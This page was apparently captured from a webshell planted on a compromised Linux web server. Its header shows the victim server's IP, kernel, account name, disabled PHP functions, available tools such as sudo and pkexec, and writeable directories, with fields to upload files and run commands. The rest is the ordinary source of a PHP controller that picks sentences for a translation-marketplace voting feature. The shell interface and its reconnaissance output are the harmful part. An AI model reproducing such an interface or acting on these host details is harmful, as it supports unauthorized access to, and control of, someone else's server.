403Webshell
Server IP : 64.202.187.69  /  Your IP : 216.73.217.74
Web Server : Apache
System : Linux 69.187.202.64.host.secureserver.net 3.10.0-1160.144.1.el7.tuxcare.els6.x86_64 #1 SMP Fri May 29 16:22:24 UTC 2026 x86_64
User : transmarket ( 1001)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/transmarket/translator/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/transmarket/translator/controllers/get_paragraph_marketplace_voting.php
<?php

/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

include 'connection.php';

//error_reporting(E_ALL);
//ini_set('display_errors', 1);

$data = array();
$data['status'] = 300;

require_once('functions.voting_marketing.php');

$voting_marketing_obj = new Voting_marketing();

require_once('functions.suggestions_marketing.php');

$suggestions_marketing_obj = new Suggestions_marketing();

//if (isset($_POST['id']) && !empty($_POST['id'])) {
	
if (isset($_SESSION['tm_language_id']) && isset($_SESSION['tm_id'])) {    	
	
	$user_id = $_SESSION['tm_id'];
	$category_id = $_SESSION['tm_language_id'];	

	// SQL for marking the voting failed if time more than 5 mins of submission 	
	$voting_marketing_obj->makeMarketplaceVotingFailedMaxSubmitTimeOver();	
	
	//get sentence ids which has submitted 3 success suggestions
	$success_suggestion_sentence_ids = $voting_marketing_obj->getSuccessMarketplaceSuggestionsSentenceIds();
	
	//Fetch sentence ids from tbl_sentence_marketing table are ready to start for voting
	$sentence_ids = $voting_marketing_obj->getMarketplaceSentenceIdsReadyToStartForVoting( $success_suggestion_sentence_ids, $category_id );
	
	//checking currently assigned sentence for voting 
	$not_in_id_str = $voting_marketing_obj->getCurrentlyAssignedMarketplaceSentenceIdsForVoting( $global_max_voting_count );
	
	//get user success suggestion sentence ids and whose voting are not closed yet [skip these sentence ids to vote]	
	$not_in_user_success_suggestion_sentence_ids = $voting_marketing_obj->getUserSuccessMarketplaceSuggestionsSentenceIdsByUserID( $user_id );
	
	//Pick one sentence for voting
	$result = $voting_marketing_obj->pickMarketplaceSentenceForVoting( $sentence_ids, $user_id, $not_in_id_str, $not_in_user_success_suggestion_sentence_ids );
	
	if ($result->num_rows > 0) {
	
		$data['status'] = 200;
		$data['content'] = '';
		$data['translated_content'] = '';	
		
		while ($row = $result->fetch_object()) {
			
			$fetched_sentence_id = $row->sentence_id;			
			
			//get paragraph id by sentence id
			$result2 = $suggestions_marketing_obj->getSentenceMarketingRowsById( $fetched_sentence_id );
			$row2 = $result2->fetch_object();
			$paragraph_id = $row2->paragraph_id;
			
			//get Sentence marketing all rows by paragraph id for fetched sentence id
			$result_sentence_marketing = $suggestions_marketing_obj->getSentenceMarketingRowsByParagrphId( $paragraph_id );
			
			if($result_sentence_marketing->num_rows > 0) {
				
				while ($row_sentence_marketing = $result_sentence_marketing->fetch_object()) {					
					
					//user's success sentence voting
					$result_success = $voting_marketing_obj->getUserSubmittedSuccessMarketplaceVoting( $row_sentence_marketing->id, $user_id );
					
					$cls_assigned = "";
					$color = '';
					
					if( $result_success->num_rows == 1 ) {
						
						//suggestion already submitted displayed in blue color
						$color = 'blue';	
						
					} elseif( $fetched_sentence_id == $row_sentence_marketing->id ) {						 
						
						//current assigned sentence for translation displayed in red color
						$color = 'red';
						$cls_assigned = ' assigned_sentence ';
						
					} else {
						//sentences not yet assigned for voting displayed in silver color
						$color = 'silver';
					}
					
					//original sentences
					$data['content'] .= "<div class='select_original_sentence {$cls_assigned}' style='color: {$color}'>" . mb_convert_encoding(stripslashes(trim(preg_replace('/\s+/', ' ', $row_sentence_marketing->original_message))), "HTML-ENTITIES", "UTF-8") . "</div>";
					
					//machine translated sentences
					$data['translated_content'] .= "<div class='select_machine_translated_sentence {$cls_assigned}' style='color: {$color}'>" . mb_convert_encoding(stripslashes(trim(preg_replace('/\s+/', ' ', $row_sentence_marketing->translated_message))), "HTML-ENTITIES", "UTF-8") . "</div>";					
										
				}
			}
			
			//get user empty vote count 			
			$user_empty_vote_count = $voting_marketing_obj->get_marketplace_user_empty_vote_count_by_sentence_id_and_user_id( $fetched_sentence_id, $user_id );	
			
			//check user empty vote count
			if( $user_empty_vote_count == 0 ) {
				
				//Insert initial user vote entry into sentence_suggestion_voting_marketing_map table
				$voting_marketing_obj->saveInitialMarketplaceUserVoteEntry( $fetched_sentence_id, $user_id, $global_voting_max_submit_time_mins );
				
			}	
			
			$data['sentence_id'] = $fetched_sentence_id;
			
			$data['total_sentences'] = $result_sentence_marketing->num_rows;
			
			//get marketplace success suggestion voting count by paragraph id and user id
			$progress_count = $voting_marketing_obj->getSuccessSuggestionVotingMarketingCount( $paragraph_id, $user_id );
			$data['progress_count'] = $progress_count;			
			
			//get document title
			$data['document_title'] = $suggestions_marketing_obj->getDocumentTitleByParagraphId($paragraph_id);
			
			// get original message's translation suggestions by sentence id
			$resultSuggestion = $voting_marketing_obj->getMarketplaceTranslationSuggestionsBySentenceId( $fetched_sentence_id );
			
			$data['suggestion'] = array();
			
			while ($rowSuggestion = $resultSuggestion->fetch_object()) {
                $suggestion = array();
                $suggestion['suggestion_id'] = $rowSuggestion->id;
                $suggestion['translation_message'] = stripslashes($rowSuggestion->suggested_text);
                array_push($data['suggestion'], $suggestion);
            }			
			
		}
		
	} 
	
}

echo json_encode($data);

Youez - 2016 - github.com/yon3zu
LinuXploit